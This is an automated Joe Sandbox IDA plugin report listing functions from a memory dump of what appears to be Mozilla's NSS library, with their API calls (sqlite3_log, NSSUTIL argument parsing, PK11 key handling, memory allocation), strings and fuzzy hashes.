Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 487a81d653f474ef8a131ccccba89eacc5e603173b39642128c34ca9f3e8a5e2
Instruction ID: 6004805554fc220a08010eccdac5220da6ab9702e0147111a3fc404924f6d9c5
Opcode Fuzzy Hash: 487a81d653f474ef8a131ccccba89eacc5e603173b39642128c34ca9f3e8a5e2
Instruction Fuzzy Hash: 5091E475A012258FDB04CF5AC850BAABBF2BF49314F1D45A8E865ABB51C334ED41CB60

Function 6CA0E6D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CA0E81D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010966,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CA0DB91,?,?), ref: 6CA0E8E7

Strings

%s at line %d of [%.10s], xrefs: 6CA0E8E0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA0E8C5, 6CA0E8D1, 6CA0E8F9, 6CA0E905, 6CA0E911, 6CA0E91D, 6CA0E929, 6CA0E935
database corruption, xrefs: 6CA0E8DB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 3107271255-598938438
Opcode ID: acbd66d65a3e6d46488ca38be0477f5c619a277006e3cff7953ba46bffabd863
Instruction ID: 8e86eae0028f0f68ad89f4c1572c48d7604be2060e629c31d44e0905aa3305b1
Opcode Fuzzy Hash: acbd66d65a3e6d46488ca38be0477f5c619a277006e3cff7953ba46bffabd863
Instruction Fuzzy Hash: 6571B171E042299FCB14CF9DD494AEEB7F0BB09358F18456AE894F7A41D370A984CBA1

Function 6CA0E4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA0E53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA0E5BC

Strings

%s at line %d of [%.10s], xrefs: 6CA0E534, 6CA0E5B6
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA0E525, 6CA0E596, 6CA0E5A7
database corruption, xrefs: 6CA0E52F, 6CA0E5B1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 45078c28c503531af9a4153dbd2d91c8246f7cf70387b6bb23c769323eff9ec0
Instruction ID: cce771671d6743fca657ad035ffb8dd0b7ea9eef187a8baed241f6b7321c6ba1
Opcode Fuzzy Hash: 45078c28c503531af9a4153dbd2d91c8246f7cf70387b6bb23c769323eff9ec0
Instruction Fuzzy Hash: F03158357007155BC7118EADD89097AB3A0EB41368B580D7CE888A7B81F371F889C3D0

Function 6CAE47A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

NSSUTIL_ArgGetParamValue.NSS3(?,?,slotFlags,00000000), ref: 6CAE47AF

Part of subcall function 6CAE4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE413D
Part of subcall function 6CAE4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAE4162
Part of subcall function 6CAE4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE416B
Part of subcall function 6CAE4120: PL_strncasecmp.NSS3(6CAE4232,?,00000001), ref: 6CAE4187
Part of subcall function 6CAE4120: NSSUTIL_ArgSkipParameter.NSS3(6CAE4232), ref: 6CAE41A0
Part of subcall function 6CAE4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE41B4
Part of subcall function 6CAE4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CAE41CC
Part of subcall function 6CAE4120: NSSUTIL_ArgFetchValue.NSS3(6CAE4232,?), ref: 6CAE4203

PL_strcasecmp.NSS3(00000000,all,?,?,slotFlags,00000000), ref: 6CAE47C3
PL_strncasecmp.NSS3(00000000,?,?), ref: 6CAE47F0
free.MOZGLUE(?,?,?,?,?,slotFlags,00000000), ref: 6CAE4823

Strings

all, xrefs: 6CAE47BD

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: L_strncasecmp$Valuestrlen$FetchL_strcasecmpParamParameterSkipfreeisspacestrcpy
String ID: all
API String ID: 1061888981-991457757
Opcode ID: 033eaa72384ecb41561e8e318b2de16f754c4925c4b719ef0882f026b9a1394f
Instruction ID: 09b4d6ea28060fce676f1d5156cec913b1225d4d42463488803450f5f68471ba
Opcode Fuzzy Hash: 033eaa72384ecb41561e8e318b2de16f754c4925c4b719ef0882f026b9a1394f
Instruction Fuzzy Hash: 50116632C091846BEF001AEAAC087AE7F6DAF8A24DF1C0125EC6452E01E7325595E7D1

Function 6CA70DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA70BDE), ref: 6CA70DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA70BDE), ref: 6CA70DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA70BDE), ref: 6CA70DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA70BDE), ref: 6CA70E32

Strings

%s incr => %d (find lib), xrefs: 6CA70E2D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 7b9578957711fe788be3c8b65112e6aad5abbcbc0c7540934c07e3110c14fb00
Instruction ID: da9ea8a2b47391830009148d8ee9be0380d509d271878c3e69607baad1cb1b76
Opcode Fuzzy Hash: 7b9578957711fe788be3c8b65112e6aad5abbcbc0c7540934c07e3110c14fb00
Instruction Fuzzy Hash: 5701D4727002549FE6209F249C45E1B73BCEF46A09B19487DE909D3B42E762FC5886F1

Function 6CACC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CACC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CACC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CACC636
PK11_FreeSymKey.NSS3(?), ref: 6CACC6D7
PK11_FreeSymKey.NSS3(?), ref: 6CACC6E1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 1da4a32a50c97188840136bc298a17bebfb8e7504df511214aa9adf636b02f74
Instruction ID: f58fc391e84e2926fd91aafd74c5c4604561775e7da36239ef6d458020a0a89c
Opcode Fuzzy Hash: 1da4a32a50c97188840136bc298a17bebfb8e7504df511214aa9adf636b02f74
Instruction Fuzzy Hash: 024173B560120AAFDB019F69DD809EB77A9EF1824CB440028FD54D7710E732DD65CBA2

Function 6CAC67D0 Relevance: 7.6, APIs: 5, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC61F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(70E85609,6CABC79F,6CAC781D,?,6CABBD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAC6207
Part of subcall function 6CAC61F0: PORT_Alloc_Util.NSS3(-00000002,?,6CABC79F,6CAC781D,?,6CABBD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAC6216
Part of subcall function 6CAC61F0: NSSUTIL_ArgStrip.NSS3(70E85609,?,?,6CABC79F,6CAC781D,?,6CABBD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAC6242
Part of subcall function 6CAC61F0: memcpy.VCRUNTIME140(00000000,70E85609,00000000,?,?,?,6CABC79F,6CAC781D,?,6CABBD52,00000001,70E85609,D85D8B04,?,?), ref: 6CAC625A
Part of subcall function 6CAC61F0: PL_strncasecmp.NSS3(00000000,tokens=,00000007), ref: 6CAC6289
Part of subcall function 6CAC61F0: PL_strncasecmp.NSS3(00000000,cryptoTokenDescription=,00000017), ref: 6CAC629D
Part of subcall function 6CAC61F0: free.MOZGLUE(6CAC781D), ref: 6CAC62B4
Part of subcall function 6CAC61F0: NSSUTIL_ArgFetchValue.NSS3(00000017,?), ref: 6CAC62BF
Part of subcall function 6CAC61F0: PL_strncasecmp.NSS3(?,cryptoSlotDescription=,00000016), ref: 6CAC6304
Part of subcall function 6CAC61F0: free.MOZGLUE(6CAC781D), ref: 6CAC631B
Part of subcall function 6CAC61F0: NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAC6326

PORT_Alloc_Util.NSS3(00000001,?,?,?,?,?,00000000,6CABC79F,6CAC781D,?,6CABBD84,?,00000000,00000000), ref: 6CAC6834
free.MOZGLUE(6CABC79F,?,?,?,?,?,?,00000000,6CABC79F,6CAC781D,?,6CABBD84,?,00000000,00000000), ref: 6CAC68C2
free.MOZGLUE(6CABC79F,?,?,?,?,?,?,00000000,6CABC79F,6CAC781D,?,6CABBD84,?,00000000,00000000), ref: 6CAC68D3
free.MOZGLUE(6CAC781D,?,?,?,?,?,?,?,00000000,6CABC79F,6CAC781D,?,6CABBD84,?,00000000,00000000), ref: 6CAC68E1
free.MOZGLUE(?,?,?,?,?,?,?,00000000,6CABC79F,6CAC781D,?,6CABBD84,?,00000000,00000000), ref: 6CAC68ED

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$L_strncasecmp$Alloc_FetchUtilValue$Stripmemcpystrlen
String ID:
API String ID: 1610830232-0
Opcode ID: af313df9092c41b437150abe0bab1a36c6277de08520266bab54fa8f0558ceff
Instruction ID: 5d1c72fb2efafa1b7e42d742df7bd9b808f83eeeba557a53c4dd739e70c5166b
Opcode Fuzzy Hash: af313df9092c41b437150abe0bab1a36c6277de08520266bab54fa8f0558ceff
Instruction Fuzzy Hash: 78417EB5F0021A8BDF00DFA9C8949BEB7B5EF48318F184129D815E7701EB35A955CBE2

Function 6CAE4690 Relevance: 7.6, APIs: 5, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000001,00000000,00000000,6CBD0148,?,6CA973A4,?,00000027,00000022), ref: 6CAE46D9
PORT_ZAlloc_Util.NSS3(00000001,00000022), ref: 6CAE473E
free.MOZGLUE(00000000,?,00000022), ref: 6CAE476C
free.MOZGLUE(00000000,?,00000022), ref: 6CAE477A
PORT_Strdup_Util.NSS3(6CBD0148,00000000,00000000,6CBD0148,?,6CA973A4,?,00000027,00000022), ref: 6CAE4788

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Alloc_free$Strdup_
String ID:
API String ID: 1542459429-0
Opcode ID: 912bebba1167b8d2851745ca4a026424b588142a9c24a2f32cf95e5122a2796a
Instruction ID: 7b2a6dc54c3d7cd60391e6187102fd3f4cbaca4b61d4d4cd73b966ed2af8b1d5
Opcode Fuzzy Hash: 912bebba1167b8d2851745ca4a026424b588142a9c24a2f32cf95e5122a2796a
Instruction Fuzzy Hash: 6931242A6096D54EE70209BA1CA13F33F9E4B4F15DF1C00A8ECDACBB12D617948DA7D1

Function 6CAC87A0 Relevance: 7.6, APIs: 5, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,00000000,00000000,00000000,?,6CAC95A0), ref: 6CAC87B3

Part of subcall function 6CADBE30: SECOID_FindOID_Util.NSS3(6CA9311B,00000000,?,6CA9311B,?), ref: 6CADBE44

PORT_NewArena_Util.NSS3(00000800,6CAC95A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8829
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,6CAC95A0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8842
SEC_ASN1DecodeItem_Util.NSS3(?,00000000,6CBAD8C4,?,?,?,?,6CAC95A0), ref: 6CAC8872
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CAC95A0), ref: 6CAC88CE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena_$AlgorithmAlloc_ArenaDecodeFindFreeItem_Tag_
String ID:
API String ID: 906083512-0
Opcode ID: 6d5f5023c71dfb75c3417a29bd1b8c5be460ed08195dcc5936604dfad6e95a03
Instruction ID: b4920ff31efc2dd7575fec80735773208c731e81059d7523bdcb245e7b9c7afb
Opcode Fuzzy Hash: 6d5f5023c71dfb75c3417a29bd1b8c5be460ed08195dcc5936604dfad6e95a03
Instruction Fuzzy Hash: F1315776F0111547FB108629ACC8BAB3251FB413A8F090677D805ABE89E720DCC883D3

Function 6CB12460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6CBB7379,00000002,?), ref: 6CB12493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB124B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6CBB7379,00000002,?), ref: 6CB124EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6CBB7379,00000002,?), ref: 6CB124F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6CBB7379,00000002,?), ref: 6CB124FE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: 7bab735b42a6d40241b2794086eee1c36ed312954a0f7fd7755e2584e92c57e3
Instruction ID: 9c28d7e0e7056147401b93a65412caa3f5fd6435ec4ad3153ac0f599036918e9
Opcode Fuzzy Hash: 7bab735b42a6d40241b2794086eee1c36ed312954a0f7fd7755e2584e92c57e3
Instruction Fuzzy Hash: 3731E4B1A04196ABEB108FA5DC45BBFB7A4EF49308F104125FE1897A80E734D954C7E3

Function 6CB18530 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CB18549
TlsGetValue.KERNEL32 ref: 6CB185CF
TlsGetValue.KERNEL32 ref: 6CB185FE
TlsGetValue.KERNEL32 ref: 6CB18629
memcpy.VCRUNTIME140 ref: 6CB18655

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$IdentitiesLayermemcpy
String ID:
API String ID: 2311246771-0
Opcode ID: ec6bd2bd2bd13472697e9847330c29f86ee972484e7fd2b6271338f10f9f491a
Instruction ID: b28a9e2e5ea6a14650db5c2ee006fd605ee9031be0648d7581d64d5f16557e1c
Opcode Fuzzy Hash: ec6bd2bd2bd13472697e9847330c29f86ee972484e7fd2b6271338f10f9f491a
Instruction Fuzzy Hash: 8841A374609781CBEB109F38D54476AB7B4FF46348F12862AD89887F61DB31D494CB92

Function 6CA7EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA7EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA7EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA7EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA7EEEB
free.MOZGLUE(?), ref: 6CA7EEF6

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 53a2bec7cb8475790cd8795b31e92c6adcd8fd965fb9c57d172dbdd5e553b0f5
Instruction ID: b46f2b5f27910db39d828e05d970c43f3eb4bf58324329869d7626cc346437e9
Opcode Fuzzy Hash: 53a2bec7cb8475790cd8795b31e92c6adcd8fd965fb9c57d172dbdd5e553b0f5
Instruction Fuzzy Hash: 19312975600201AFE7309F2CCC447A637B4FB46755F140929E85AC7A51DB35E894C7F2

Function 6CB9A530 Relevance: 7.6, APIs: 5, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB9A55C
PR_IntervalNow.NSS3 ref: 6CB9A573
PR_IntervalNow.NSS3 ref: 6CB9A5A5
_PR_MD_UNLOCK.NSS3(?), ref: 6CB9A603

Part of subcall function 6CB49890: TlsGetValue.KERNEL32(?,?,?,6CB497EB), ref: 6CB4989E

_PR_MD_UNLOCK.NSS3(?), ref: 6CB9A636

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Interval$CriticalEnterSectionValue
String ID:
API String ID: 959321092-0
Opcode ID: 6cd202a08764b5e054994a6f7343645d3527b6b5c699b82a37a52ee0f0afeae5
Instruction ID: 80addf74b287048df9c93b48a2de87b562aa3a0200239c828092f656cfb4eaf6
Opcode Fuzzy Hash: 6cd202a08764b5e054994a6f7343645d3527b6b5c699b82a37a52ee0f0afeae5
Instruction Fuzzy Hash: 3F315CB1A006858FCB00DF29C884A9ABBF9FF46359B158575D8149BB16E730EC84CF91

Function 6CAA86D0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA8716
TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA8727
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA873B
PR_Unlock.NSS3(?), ref: 6CAA876F
PR_SetError.NSS3(00000000,00000000), ref: 6CAA8787

Part of subcall function 6CAA79F0: memcpy.VCRUNTIME140(?,6CBAAB28,000000FC), ref: 6CAA7A1E
Part of subcall function 6CAA79F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAA7A48

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: b74550703584075e83afdfaaa5209d6d0e2c2300e51e297095668ad52d4bc225
Instruction ID: da64c4d39e8f444aec06c59dd3ce0e4456c34e5ad1a1a6b21457ad29ad9de7ee
Opcode Fuzzy Hash: b74550703584075e83afdfaaa5209d6d0e2c2300e51e297095668ad52d4bc225
Instruction Fuzzy Hash: 4E312976A002056FDF009FA4DC41AAB7BB9EF45318F194025FD099B712EB31E999CBA1

